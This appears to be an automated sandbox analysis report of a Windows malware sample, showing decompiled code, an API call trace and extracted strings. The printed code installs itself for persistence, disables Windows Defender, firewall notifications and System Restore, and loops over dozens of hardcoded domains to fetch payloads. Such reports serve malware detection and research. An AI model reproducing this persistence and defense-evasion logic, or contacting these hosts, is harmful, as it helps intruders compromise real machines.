						ExpandEnvironmentStringsW( *(_t638 + _v5548 * 4 - 0x1394),  &_v1108, 0x208);
						_push( &_v1108);
						_push(L"%ls\\T-495050303005030");
						_push(0x208);
						_push( &_v524);
						L00401030();
						_push( &_v588);
						_push( &_v524);
						_push(L"%ls\\%ls");
						_push(0x208);
						_push( &_v5004);
						L00401030();
						_t652 = _t652 + 0x48;
						_t577 = PathFileExistsW( &_v5004); // executed
						if(_t577 == 0) {
							_t579 = PathFileExistsW( &_v524); // executed
							if(_t579 == 0) {
								CreateDirectoryW( &_v524, 0); // executed
							}
							_t582 = CopyFileW( &_v2740,  &_v5004, 0); // executed
							if(_t582 == 0) {
								Sleep(0x1f4);
								_v5548 = _v5548 + 1;
								continue;
							} else {
								break;
							}
						}
						break;
					}
					_push( &_v1164);
					_push( &_v5004);
					_push(L"%ls:*:Enabled:%s");
					_push(0x208);
					_push( &_v2220);
					L00401030();
					_t653 = _t652 + 0x14;
					_v6080 =  &_v5004;
					_v6084 =  &_v2740;
					while(1) {
						_t417 =  *_v6084;
						_v6086 = _t417;
						if(_t417 !=  *_v6080) {
							break;
						}
						if(_v6086 == 0) {
							L28:
							_v6092 = _v6092 & 0x00000000;
							L30:
							_v6096 = _v6092;
							if(_v6096 == 0) {
								Sleep(0x1f4);
								if(RegOpenKeyExW(0x80000002, L"SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List\\", 0, 0xf003f,  &_v2744) != 0) {
									L46:
									Sleep(0x1f4);
									if(RegOpenKeyExW(0x80000002, L"SOFTWARE\\Policies\\Microsoft\\Windows Defender\\", 0, 0xf003f,  &_v2744) == 0) {
										_v536 = RegQueryValueExW(_v2744, L"DisableAntiSpyware", 0,  &_v532, 0, 0);
										if(_v536 != 0) {
											RegSetValueExW(_v2744, L"DisableAntiSpyware", 0, 4,  &_v528, 4);
										}
										if(RegOpenKeyExW(0x80000002, L"SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection", 0, 0xf003f,  &_v2744) != 0) {
											RegCreateKeyExA(0x80000002, "SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection", 0, 0, 0, 0x20006, 0,  &_v2744, 0);
										}
										if(RegOpenKeyExW(0x80000002, L"SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\\", 0, 0xf003f,  &_v2744) == 0) {
											_v536 = RegQueryValueExW(_v2744, L"DisableScanOnRealtimeEnable", 0,  &_v532, 0, 0);
											if(_v536 != 0) {
												RegSetValueExW(_v2744, L"DisableScanOnRealtimeEnable", 0, 4,  &_v528, 4);
											}
											_v536 = RegQueryValueExW(_v2744, L"DisableOnAccessProtection", 0,  &_v532, 0, 0);
											if(_v536 != 0) {
												RegSetValueExW(_v2744, L"DisableOnAccessProtection", 0, 4,  &_v528, 4);
											}
											_v536 = RegQueryValueExW(_v2744, L"DisableBehaviorMonitoring", 0,  &_v532, 0, 0);
											if(_v536 != 0) {
												RegSetValueExW(_v2744, L"DisableBehaviorMonitoring", 0, 4,  &_v528, 4);
											}
											RegCloseKey(_v2744);
										}
										RegCloseKey(_v2744);
									}
									Sleep(0x1f4);
									if(RegOpenKeyExW(0x80000002, L"SOFTWARE\\Microsoft\\Security Center\\", 0, 0xf003f,  &_v2744) != 0) {
										L68:
										Sleep(0x1f4);
										if(RegOpenKeyExW(0x80000002, L"SOFTWARE\\Microsoft\\Security Center\\Svc\\", 0, 0xf003f,  &_v2744) != 0) {
											L76:
											Sleep(0x1f4);
											if(RegOpenKeyExW(0x80000002, L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SystemRestore\\", 0, 0xf003f,  &_v2744) == 0) {
												_v536 = RegQueryValueExW(_v2744, L"DisableSR", 0,  &_v532, 0, 0);
												if(_v536 != 0) {
													RegSetValueExW(_v2744, L"DisableSR", 0, 4,  &_v528, 4);
												}
												RegCloseKey(_v2744);
											}
											Sleep(0x1f4);
											CreateThread(0, 0, E004041B2, 0, 0, 0);
											Sleep(0x1f4);
											CreateThread(0, 0, E00402689, 0, 0, 0);
											Sleep(0x1f4);
											CreateThread(0, 0, E004054CE, 0, 0, 0);
											Sleep(0x1f4);
											if((E00403527() & 0x000000ff) == 0) {
												L85:
												Sleep(0x1f4);
												while(1) {
													Sleep(0x1f4);
													_v5564 = _v5564 & 0x00000000;
													while(_v5564 < 0x47) {
														Sleep(0x1f4);
														memset( &_v4484, 0, 0x1f4);
														_push( *((intOrPtr*)(_t638 + _v5564 * 4 - 0xbd8)));
														_push("%s");
														_push(0x1f4);
														_push( &_v4484);
														L00401066();
														_t653 = _t653 + 0x1c;
														_v5568 = _v5568 & 0x00000000;
														while(_v5568 < 5) {
															Sleep(0x1f4);
															memset( &_v6076, 0, 0x1f4);
															_push( *((intOrPtr*)(_t638 + _v5568 * 4 - 0xbec)));
															_push( &_v4484);
															_push("%s%s");
															_push(0x1f4);
															_push( &_v6076);
															L00401066();
															_t653 = _t653 + 0x20;
															if((E00402BE5( &_v6076) & 0x000000ff) != 0) {
																CreateThread(0, 0, E0040436A,  &_v6076, 0, 0);
															}
															_v5568 = _v5568 + 1;
														}
														_v5564 = _v5564 + 1;
													}
													_t434 = rand();
													asm("cdq");
													Sleep(0x2710 + _t434 % 0xea60 * 5);
												}
											} else {
												Sleep(0x1f4);
												CreateThread(0, 0, E0040599A, 0, 0, 0);
												Sleep(0x1f4);
												_v5560 = _v5560 & 0x00000000;
												while(_v5560 < 0x47) {
													Sleep(0x1f4);
													E0040324B( *((intOrPtr*)(_t638 + _v5560 * 4 - 0xbd8)));
													_v5560 = _v5560 + 1;
												}
												goto L85;
											}
										}
										_v5556 = _v5556 & 0x00000000;
										while(_v5556 < 7) {
											_v536 = RegQueryValueExW(_v2744,  *(_t638 + _v5556 * 4 - 0x230), 0,  &_v532, 0, 0);
											if(_v536 != 0) {
												RegSetValueExW(_v2744,  *(_t638 + _v5556 * 4 - 0x230), 0, 4,  &_v528, 4);
											}
											_v5556 = _v5556 + 1;
										}
										RegCloseKey(_v2744);
										goto L76;
									} else {
										_v5552 = _v5552 & 0x00000000;
										while(_v5552 < 7) {
											_v536 = RegQueryValueExW(_v2744,  *(_t638 + _v5552 * 4 - 0x230), 0,  &_v532, 0, 0);
											if(_v536 != 0) {
												RegSetValueExW(_v2744,  *(_t638 + _v5552 * 4 - 0x230), 0, 4,  &_v528, 4);
											}
											_v5552 = _v5552 + 1;
										}
										RegCloseKey(_v2744);
										goto L68;
									}
								}
								_v536 = RegQueryValueExW(_v2744,  &_v1164, 0,  &_v532, 0, 0);
								if(_v536 == 0) {
									L45:
									RegCloseKey(_v2744);
									goto L46;
								}
								_v6132 =  &_v2220;
								_v6136 = _v6132 + 2;
								do {
									_v6138 =  *_v6132;
									_v6132 = _v6132 + 2;
								} while (_v6138 != 0);
								_v6144 = _v6132 - _v6136 >> 1;
								RegSetValueExW(_v2744,  &_v5004, 0, 1,  &_v2220, _v6144 + _v6144 + 2);
								goto L45;
							}
							SetFileAttributesW( &_v524, 7); // executed
							SetFileAttributesW( &_v5004, 7); // executed
							_t528 = RegOpenKeyExW(0x80000002, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\", 0, 0xf003f,  &_v2744); // executed
							if(_t528 != 0) {
								L35:
								_t530 = RegOpenKeyExW(0x80000001, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", 0, 0xf003f,  &_v2744); // executed
								if(_t530 != 0) {
									L39:
									E004035DF( &_v5004); // executed
									Sleep(0x1f4); // executed
									ExitProcess(0); // executed
								}
								_v6116 =  &_v5004;
								_v6120 = _v6116 + 2;
								do {
									_v6122 =  *_v6116;
									_v6116 = _v6116 + 2;
								} while (_v6122 != 0);
								_v6128 = _v6116 - _v6120 >> 1;
								RegSetValueExW(_v2744,  &_v1164, 0, 1,  &_v5004, _v6128 + _v6128 + 2); // executed
								RegCloseKey(_v2744);
								goto L39;
							}
							_v6100 =  &_v5004;
							_v6104 = _v6100 + 2;
							do {
								_v6106 =  *_v6100;
								_v6100 = _v6100 + 2;
							} while (_v6106 != 0);
							_v6112 = _v6100 - _v6104 >> 1;
							RegSetValueExW(_v2744,  &_v1164, 0, 1,  &_v5004, _v6112 + _v6112 + 2); // executed
							RegCloseKey(_v2744);
							goto L35;
						}
						_t417 =  *((intOrPtr*)(_v6084 + 2));
						_v6088 = _t417;
						if(_t417 !=  *((intOrPtr*)(_v6080 + 2))) {
							break;
						}
						_v6084 = _v6084 + 4;
						_v6080 = _v6080 + 4;
						if(_v6088 != 0) {
							continue;
						}
						goto L28;
					}
					asm("sbb eax, eax");
					asm("sbb eax, 0xffffffff");
					_v6092 = _t417;
					goto L30;
				}
				ExitProcess(0);
			}

0x00405afc
0x00405b08
0x00405b0e
0x00405b18
0x00405b29
0x00405b2a
0x00405b2b
0x00405b2c
0x00405b2f
0x00405b3b
0x00405b3d
0x00405b4b
0x00405b4b
0x00405b4d
0x00405b4f
0x00405b59
0x00405b63
0x00405b6d
0x00405b77
0x00405b81
0x00405b8b
0x00405b95
0x00405b9f
0x00405ba9
0x00405bb3
0x00405bbd
0x00405bc7
0x00405bd1
0x00405bdb
0x00405be5
0x00405bef
0x00405bf9
0x00405c03
0x00405c0d
0x00405c17
0x00405c21
0x00405c2b
0x00405c35
0x00405c3f
0x00405c49
0x00405c53
0x00405c5d
0x00405c67
0x00405c71
0x00405c7b
0x00405c85
0x00405c8f
0x00405c99
0x00405ca3
0x00405cad
0x00405cb7
0x00405cc1
0x00405ccb
0x00405cd5
0x00405cdf
0x00405ce9
0x00405cf3
0x00405cfd
0x00405d07
0x00405d11
0x00405d1b
0x00405d25
0x00405d2f
0x00405d39
0x00405d43
0x00405d4d
0x00405d57
0x00405d61
0x00405d6b
0x00405d75
0x00405d7f
0x00405d89
0x00405d93
0x00405d9d
0x00405da7
0x00405db1
0x00405dbb
0x00405dc5
0x00405dcf
0x00405dd9
0x00405de3
0x00405ded
0x00405df7
0x00405e01
0x00405e0b
0x00405e15
0x00405e1f
0x00405e29
0x00405e33
0x00405e3d
0x00405e47
0x00405e51
0x00405e5b
0x00405e65
0x00405e6f
0x00405e79
0x00405e83
0x00405e8d
0x00405e97
0x00405ea1
0x00405eb6
0x00405ebc
0x00405ecd
0x00405ed7
0x00405ede
0x00405ef6
0x00405f0c
0x00405f22
0x00405f38
0x00405f4e
0x00405f62
0x00405f76
0x00405f82
0x00405f83
0x00405f88
0x00405f93
0x00405f94
0x00405fa3
0x00405fae
0x00405fc5
0x00405fd1
0x00405fd8
0x00405fd9
0x00405fde
0x00405fe9
0x00405fea
0x00405fef
0x00405ff9
0x00406001
0x00406013
0x0040601b
0x00406026
0x00406026
0x0040601b
0x00406031
0x00406045
0x0040605b
0x00406060
0x00406063
0x00406072
0x0040607a
0x00406082
0x00406089
0x0040608a
0x0040608f
0x0040609a
0x0040609b
0x004060a0
0x004060aa
0x004060b2
0x004060c4
0x004060cc
0x004060d7
0x004060d7
0x004060cc
0x004060b2
0x004060e2
0x004060f6
0x0040610c
0x00406111
0x00406114
0x00406123
0x0040612b
0x00406133
0x0040613a
0x0040613b
0x00406140
0x0040614b
0x0040614c
0x00406151
0x0040615b
0x00406163
0x00406175
0x0040617d
0x00406188
0x00406188
0x0040617d
0x00406163
0x00406193
0x00406199
0x004061af
0x004061ca
0x004061e0
0x004061f6
0x00406217
0x00406223
0x00406224
0x00406229
0x00406234
0x00406235
0x00406243
0x0040624a
0x0040624b
0x00406250
0x0040625b
0x0040625c
0x00406261
0x0040626b
0x00406273
0x00406280
0x00406288
0x00406293
0x00406293
0x004062a9
0x004062b1
0x004062ba
0x004061a9
0x00000000
0x004062b3
0x00000000
0x004062b3
0x004062b1
0x00000000
0x00406275
0x004062cb
0x004062d2
0x004062d3
0x004062d8
0x004062e3
0x004062e4
0x004062e9
0x004062f2
0x004062fe
0x00406304
0x0040630a
0x0040630d
0x0040631d
0x00000000
0x00000000
0x00406327
0x0040635e
0x0040635e
0x00406372
0x00406378
0x00406385
0x00406524
0x0040654a
0x00406604
0x00406609
0x0040662f
0x00406653
0x00406660
0x0040667a
0x0040667a
0x004066a0
0x004066c2
0x004066c2
0x004066e8
0x0040670c
0x00406719
0x00406733
0x00406733
0x00406757
0x00406764
0x0040677e
0x0040677e
0x004067a2
0x004067af
0x004067c9
0x004067c9
0x004067d5
0x004067d5
0x004067e1
0x004067e1
0x004067ec
0x00406812
0x004068a0
0x004068a5
0x004068cb
0x00406959
0x0040695e
0x00406984
0x004069a4
0x004069b1
0x004069cb
0x004069cb
0x004069d7
0x004069d7
0x004069e2
0x004069f7
0x00406a02
0x00406a17
0x00406a22
0x00406a37
0x00406a42
0x00406a52
0x00406abe
0x00406ac3
0x00406ac9
0x00406ace
0x00406ad4
0x00406aea
0x00406afc
0x00406b10
0x00406b1e
0x00406b25
0x00406b2a
0x00406b35
0x00406b36
0x00406b3b
0x00406b3e
0x00406b54
0x00406b66
0x00406b7a
0x00406b88
0x00406b95
0x00406b96
0x00406b9b
0x00406ba6
0x00406ba7
0x00406bac
0x00406bc1
0x00406bd7
0x00406bd7
0x00406b4e
0x00406b4e
0x00406ae4
0x00406ae4
0x00406be7
0x00406bec
0x00406bfe
0x00406bfe
0x00406a54
0x00406a59
0x00406a6e
0x00406a79
0x00406a7f
0x00406a95
0x00406aa3
0x00406ab6
0x00406a8f
0x00406a8f
0x00000000
0x00406a95
0x00406a52
0x004068d1
0x004068e7
0x00406916
0x00406923
0x00406945
0x00406945
0x004068e1
0x004068e1
0x00406953
0x00000000
0x00406818
0x00406818
0x0040682e
0x0040685d
0x0040686a
0x0040688c
0x0040688c
0x00406828
0x00406828
0x0040689a
0x00000000
0x0040689a
0x00406812
0x00406570
0x0040657d
0x004065f8
0x004065fe
0x00000000
0x004065fe
0x00406585
0x00406594
0x0040659a
0x004065a3
0x004065aa
0x004065b1
0x004065c9
0x004065f2
0x00000000
0x004065f2
0x00406394
0x004063a3
0x004063c1
0x004063c9
0x00406454
0x0040646c
0x00406474
0x004064ff
0x00406506
0x00406511
0x00406519
0x00406519
0x00406480
0x0040648f
0x00406495
0x0040649e
0x004064a5
0x004064ac
0x004064c4
0x004064ed
0x004064f9
0x00000000
0x004064f9
0x004063d5
0x004063e4
0x004063ea
0x004063f3
0x004063fa
0x00406401
0x00406419
0x00406442
0x0040644e
0x00000000
0x0040644e
0x0040632f
0x00406333
0x00406344
0x00000000
0x00000000
0x00406346
0x0040634d
0x0040635c
0x00000000
0x00000000
0x00000000
0x0040635c
0x00406367
0x00406369
0x0040636c
0x00000000
0x0040636c
0x00405ed1

APIs

Sleep.KERNELBASE(000003E8,?,?,?,004011B8,00000000,?,0000000A), ref: 00405B08

Part of subcall function 00405533: GetModuleHandleA.KERNEL32(kernel32.dll), ref: 004055C3
Part of subcall function 00405533: GetProcAddress.KERNEL32(00000000,wine_get_unix_file_name), ref: 004055DA
Part of subcall function 00405533: ExitProcess.KERNEL32 ref: 004055E6
Part of subcall function 00405533: Sleep.KERNELBASE(00000064), ref: 004055EE
Part of subcall function 00405533: ExitProcess.KERNEL32 ref: 0040561A
Part of subcall function 00405533: Sleep.KERNELBASE(00000064), ref: 00405624
Part of subcall function 00405533: GetModuleHandleA.KERNEL32(00409118), ref: 00405644
Part of subcall function 00405533: ExitProcess.KERNEL32 ref: 00405650

Sleep.KERNELBASE(000003E8,?,?,?,004011B8,00000000,?,0000000A), ref: 00405B18
CreateMutexA.KERNELBASE(00000000,00000000,?), ref: 00405EB6
GetLastError.KERNEL32 ref: 00405EC2
ExitProcess.KERNEL32 ref: 00405ED1
memset.MSVCRT ref: 00405EF6
memset.MSVCRT ref: 00405F0C
memset.MSVCRT ref: 00405F22
memset.MSVCRT ref: 00405F38
memset.MSVCRT ref: 00405F4E
WSAStartup.WS2_32(00000202,?), ref: 00405F62
GetModuleFileNameW.KERNEL32(00000000,?,00000208,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00405F76
_snwprintf.MSVCRT ref: 00405F94
DeleteFileW.KERNELBASE(?), ref: 00405FA3
Sleep.KERNELBASE(000001F4), ref: 00405FAE
ExpandEnvironmentStringsW.KERNEL32(%systemdrive%,?,00000208), ref: 00405FC5
_snwprintf.MSVCRT ref: 00405FEA
PathFileExistsW.SHLWAPI(?), ref: 00405FF9
CopyFileW.KERNEL32(?,?,00000000), ref: 00406013
SetFileAttributesW.KERNELBASE(?,00000007), ref: 00406026
Sleep.KERNELBASE(000001F4), ref: 00406031
memset.MSVCRT ref: 00406045
memset.MSVCRT ref: 0040605B
SHGetFolderPathW.SHELL32(00000000,0000001E,00000000,00000000,?), ref: 00406072
_snwprintf.MSVCRT ref: 0040609B
PathFileExistsW.SHLWAPI(?), ref: 004060AA
CopyFileW.KERNEL32(?,?,00000000), ref: 004060C4
SetFileAttributesW.KERNELBASE(?,00000007), ref: 004060D7
Sleep.KERNELBASE(000001F4), ref: 004060E2
memset.MSVCRT ref: 004060F6
memset.MSVCRT ref: 0040610C
SHGetFolderPathW.SHELL32(00000000,00000017,00000000,00000000,?), ref: 00406123
_snwprintf.MSVCRT ref: 0040614C
PathFileExistsW.SHLWAPI(?), ref: 0040615B
CopyFileW.KERNEL32(?,?,00000000), ref: 00406175
SetFileAttributesW.KERNELBASE(?,00000007), ref: 00406188
Sleep.KERNELBASE(000001F4), ref: 00406193
memset.MSVCRT ref: 004061CA
memset.MSVCRT ref: 004061E0
memset.MSVCRT ref: 004061F6
ExpandEnvironmentStringsW.KERNEL32(?,?,00000208), ref: 00406217
_snwprintf.MSVCRT ref: 00406235
_snwprintf.MSVCRT ref: 0040625C
PathFileExistsW.SHLWAPI(?), ref: 0040626B
PathFileExistsW.SHLWAPI(?), ref: 00406280
CreateDirectoryW.KERNELBASE(?,00000000), ref: 00406293
CopyFileW.KERNEL32(?,?,00000000), ref: 004062A9
Sleep.KERNEL32(000001F4), ref: 004062BA
_snwprintf.MSVCRT ref: 004062E4
SetFileAttributesW.KERNELBASE(?,00000007), ref: 00406394
SetFileAttributesW.KERNELBASE(?,00000007), ref: 004063A3
RegOpenKeyExW.KERNEL32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Run\,00000000,000F003F,?), ref: 004063C1
RegSetValueExW.KERNEL32(?,?,00000000,00000001,?,?), ref: 00406442
RegCloseKey.ADVAPI32(?), ref: 0040644E
RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run\,00000000,000F003F,?), ref: 0040646C
RegSetValueExW.KERNEL32(?,?,00000000,00000001,?,?), ref: 004064ED
RegCloseKey.ADVAPI32(?), ref: 004064F9

Part of subcall function 004035DF: memset.MSVCRT ref: 004035EE
Part of subcall function 004035DF: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 0040362D
Part of subcall function 004035DF: Sleep.KERNEL32(000001F4,?,?,?), ref: 00403640
Part of subcall function 004035DF: ShellExecuteW.SHELL32(00000000,open,?,00000000,00000000,00000000), ref: 00403656

Sleep.KERNELBASE(000001F4), ref: 00406511
ExitProcess.KERNEL32 ref: 00406519
Sleep.KERNEL32(000001F4), ref: 00406524
RegOpenKeyExW.ADVAPI32(80000002,SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\,00000000,000F003F,?), ref: 00406542
RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,00000000), ref: 0040656A
RegSetValueExW.ADVAPI32(?,?,00000000,00000001,?,?), ref: 004065F2
RegCloseKey.ADVAPI32(?), ref: 004065FE
Sleep.KERNEL32(000001F4), ref: 00406609
RegOpenKeyExW.ADVAPI32(80000002,SOFTWARE\Policies\Microsoft\Windows Defender\,00000000,000F003F,?), ref: 00406627
RegQueryValueExW.ADVAPI32(?,DisableAntiSpyware,00000000,?,00000000,00000000), ref: 0040664D
RegSetValueExW.ADVAPI32(?,DisableAntiSpyware,00000000,00000004,?,00000004), ref: 0040667A
RegOpenKeyExW.ADVAPI32(80000002,SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection,00000000,000F003F,?), ref: 00406698
RegCreateKeyExA.ADVAPI32(80000002,SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection,00000000,00000000,00000000,00020006,00000000,?,00000000), ref: 004066C2
RegOpenKeyExW.ADVAPI32(80000002,SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\,00000000,000F003F,?), ref: 004066E0
RegQueryValueExW.ADVAPI32(?,DisableScanOnRealtimeEnable,00000000,?,00000000,00000000), ref: 00406706
RegSetValueExW.ADVAPI32(?,DisableScanOnRealtimeEnable,00000000,00000004,?,00000004), ref: 00406733
RegQueryValueExW.ADVAPI32(?,DisableOnAccessProtection,00000000,?,00000000,00000000), ref: 00406751
RegSetValueExW.ADVAPI32(?,DisableOnAccessProtection,00000000,00000004,?,00000004), ref: 0040677E
RegQueryValueExW.ADVAPI32(?,DisableBehaviorMonitoring,00000000,?,00000000,00000000), ref: 0040679C
RegSetValueExW.ADVAPI32(?,DisableBehaviorMonitoring,00000000,00000004,?,00000004), ref: 004067C9
RegCloseKey.ADVAPI32(?), ref: 004067D5
RegCloseKey.ADVAPI32(?), ref: 004067E1
Sleep.KERNEL32(000001F4), ref: 004067EC
RegOpenKeyExW.ADVAPI32(80000002,SOFTWARE\Microsoft\Security Center\,00000000,000F003F,?), ref: 0040680A
RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,00000000), ref: 00406857
RegSetValueExW.ADVAPI32(?,?,00000000,00000004,?,00000004), ref: 0040688C
RegCloseKey.ADVAPI32(?), ref: 0040689A
Sleep.KERNEL32(000001F4), ref: 004068A5
RegOpenKeyExW.ADVAPI32(80000002,SOFTWARE\Microsoft\Security Center\Svc\,00000000,000F003F,?), ref: 004068C3
RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,00000000), ref: 00406910
RegSetValueExW.ADVAPI32(?,?,00000000,00000004,?,00000004), ref: 00406945
RegCloseKey.ADVAPI32(?), ref: 00406953
Sleep.KERNEL32(000001F4), ref: 0040695E
RegOpenKeyExW.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore\,00000000,000F003F,?), ref: 0040697C
RegQueryValueExW.ADVAPI32(?,DisableSR,00000000,?,00000000,00000000), ref: 0040699E
RegSetValueExW.ADVAPI32(?,DisableSR,00000000,00000004,?,00000004), ref: 004069CB
RegCloseKey.ADVAPI32(?), ref: 004069D7
Sleep.KERNEL32(000001F4), ref: 004069E2
CreateThread.KERNEL32(00000000,00000000,004041B2,00000000,00000000,00000000), ref: 004069F7
Sleep.KERNEL32(000001F4), ref: 00406A02
CreateThread.KERNEL32(00000000,00000000,00402689,00000000,00000000,00000000), ref: 00406A17
Sleep.KERNEL32(000001F4), ref: 00406A22
CreateThread.KERNEL32(00000000,00000000,004054CE,00000000,00000000,00000000), ref: 00406A37
Sleep.KERNEL32(000001F4), ref: 00406A42

Part of subcall function 00403527: memset.MSVCRT ref: 0040353E
Part of subcall function 00403527: memset.MSVCRT ref: 00403554
Part of subcall function 00403527: ExpandEnvironmentStringsW.KERNEL32(%appdata%,?,00000208), ref: 0040356D
Part of subcall function 00403527: _snwprintf.MSVCRT ref: 0040358B
Part of subcall function 00403527: CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000002,00000000), ref: 004035A9
Part of subcall function 00403527: GetLastError.KERNEL32 ref: 004035BE
Part of subcall function 00403527: CloseHandle.KERNEL32(000000FF), ref: 004035D5

Sleep.KERNEL32(000001F4), ref: 00406A59
CreateThread.KERNEL32(00000000,00000000,0040599A,00000000,00000000,00000000), ref: 00406A6E
Sleep.KERNEL32(000001F4), ref: 00406A79
Sleep.KERNEL32(000001F4), ref: 00406AA3

Part of subcall function 0040324B: memset.MSVCRT ref: 00403262
Part of subcall function 0040324B: _snprintf.MSVCRT ref: 0040327E
Part of subcall function 0040324B: InternetOpenA.WININET(Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0,00000000,00000000,00000000,00000000), ref: 00403293
Part of subcall function 0040324B: InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 004032BD
Part of subcall function 0040324B: InternetCloseHandle.WININET(?), ref: 004032C9
Part of subcall function 0040324B: InternetCloseHandle.WININET(00000000), ref: 004032D5

Sleep.KERNEL32(000001F4), ref: 00406AC3
Sleep.KERNEL32(000001F4), ref: 00406ACE
Sleep.KERNEL32(000001F4), ref: 00406AFC
memset.MSVCRT ref: 00406B10
_snprintf.MSVCRT ref: 00406B36
Sleep.KERNEL32(000001F4), ref: 00406B66
memset.MSVCRT ref: 00406B7A
_snprintf.MSVCRT ref: 00406BA7

Part of subcall function 00402BE5: InternetOpenA.WININET(Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0,00000001,00000000,00000000,00000000), ref: 00402BFB
Part of subcall function 00402BE5: InternetOpenUrlA.WININET(00000000,00406BBB,00000000,00000000,00000000,00000000), ref: 00402C1C
Part of subcall function 00402BE5: PathFindFileNameA.SHLWAPI(00406BBB), ref: 00402C32
Part of subcall function 00402BE5: HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 00402CB9
Part of subcall function 00402BE5: HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 00402D33
Part of subcall function 00402BE5: HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 00402DAD
Part of subcall function 00402BE5: HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 00402E27
Part of subcall function 00402BE5: HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 00402EB0
Part of subcall function 00402BE5: InternetCloseHandle.WININET(00000000), ref: 00402EB9
Part of subcall function 00402BE5: InternetCloseHandle.WININET(00000000), ref: 00402EC2
Part of subcall function 00402BE5: InternetCloseHandle.WININET(00000000), ref: 00403238
Part of subcall function 00402BE5: InternetCloseHandle.WININET(00000000), ref: 00403241

CreateThread.KERNEL32(00000000,00000000,0040436A,?,00000000,00000000), ref: 00406BD7
rand.MSVCRT ref: 00406BE7
Sleep.KERNEL32 ref: 00406BFE

Strings

SOFTWARE\Microsoft\Security Center\Svc\, xrefs: 004068B9
http://iefigjgdidisi.in/, xrefs: 00405CCB
SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\, xrefs: 004066D6
http://iugouehoeohfh.net/, xrefs: 00405D1B
http://ugoheoheufefu.biz/, xrefs: 00405DED
SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection, xrefs: 004066B8
winsvcs.exe, xrefs: 00405B30
%ls:Zone.Identifier, xrefs: 00405F83
http://ugoheoheufefu.net/, xrefs: 00405D25
http://iugouehoeohfh.info/, xrefs: 00405E47
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 00406462
http://iriototooeuwo.com/, xrefs: 00405DCF
AntiVirusDisableNotify, xrefs: 00405BBD
AutoUpdateDisableNotify, xrefs: 00405BD1
%s%s, xrefs: 00406B96
http://ouegouehouseh.su/, xrefs: 00405C71
http://inigbiseijfji.com/, xrefs: 00405DB1
http://riifndisojdoj.su/, xrefs: 00405C7B
%ls\%ls, xrefs: 0040624B
SOFTWARE\Microsoft\Security Center\, xrefs: 00406800
G, xrefs: 00406A95
t.exe, xrefs: 00405B4F
http://riifndisojdoj.in/, xrefs: 00405CDF
http://eiisisiysjsif.ru/, xrefs: 00405C35
http://ouegouehouseh.in/, xrefs: 00405CD5
http://nkihigheogojg.info/, xrefs: 00405EA1
http://ugoheoheufefu.info/, xrefs: 00405E51
http://ouegouehouseh.ru/, xrefs: 00405C0D
http://eiisisiysjsif.info/, xrefs: 00405E8D
SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\, xrefs: 00406538
%ls\T-495050303005030, xrefs: 00406224
http://iriototooeuwo.su/, xrefs: 00405CA3
http://ouegouehouseh.com/, xrefs: 00405D9D
http://udunfjgussiid.info/, xrefs: 00405E83
http://nkihigheogojg.in/, xrefs: 00405D11
o.exe, xrefs: 00405B77
s.exe, xrefs: 00405B6D
FirewallDisableNotify, xrefs: 00405BDB
http://ugoheoheufefu.su/, xrefs: 00405C5D
http://iriototooeuwo.info/, xrefs: 00405E97
FirewallOverride, xrefs: 00405BB3
http://ouegouehouseh.info/, xrefs: 00405E65
http://iriototooeuwo.in/, xrefs: 00405D07
SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore\, xrefs: 00406972
%systemdrive%, xrefs: 00405FC0
DisableScanOnRealtimeEnable, xrefs: 004066FB
G, xrefs: 00406AEA
http://iugouehoeohfh.su/, xrefs: 00405C53
AntiVirusOverride, xrefs: 00405B9F
http://inigbiseijfji.su/, xrefs: 00405C85
http://riifndisojdoj.biz/, xrefs: 00405E0B
http://nkihigheogojg.ru/, xrefs: 00405C49
http://udunfjgussiid.net/, xrefs: 00405D57
http://eiisisiysjsif.com/, xrefs: 00405DC5
http://inigbiseijfji.ru/, xrefs: 00405C21
http://nkihigheogojg.com/, xrefs: 00405DD9
http://iefigjgdidisi.info/, xrefs: 00405E5B
DisableSR, xrefs: 00406993
%windir%, xrefs: 00405B81
http://ugoheoheufefu.in/, xrefs: 00405CC1
http://nkihigheogojg.net/, xrefs: 00405D75
http://eiisisiysjsif.biz/, xrefs: 00405E29
http://udunfjgussiid.com/, xrefs: 00405DBB
http://ugoheoheufefu.ru/, xrefs: 00405BF9
